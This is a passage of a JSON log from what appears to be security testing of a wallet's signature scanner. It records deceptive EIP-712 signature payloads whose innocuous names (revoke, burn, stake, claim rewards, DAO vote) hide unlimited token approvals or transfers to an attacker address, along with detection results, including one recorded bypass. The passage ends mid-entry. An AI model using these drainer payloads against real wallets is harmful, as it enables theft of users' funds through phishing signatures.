Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:20:29.263Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:20:38.447Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:20:47.613Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:20:56.753Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:21:05.909Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:21:15.152Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:21:24.309Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:21:33.470Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:21:42.624Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:21:51.771Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:22:00.940Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:22:10.093Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN9-EIP3009-022", "timestamp": "2026-01-31T16:22:19.252Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x749e58af87aaa1dbba94aa3abaf30e746351d81be145a1c934b65d06b58ef491\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN9-EIP3009-054", "timestamp": "2026-01-31T16:22:25.800Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x76fb8810250d0069a19575cc41ed8de7a7b50e38147980833ddf5a7f9a8f6de9\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:22:35.401Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:22:44.550Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:22:53.687Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:23:02.946Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:23:12.123Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": 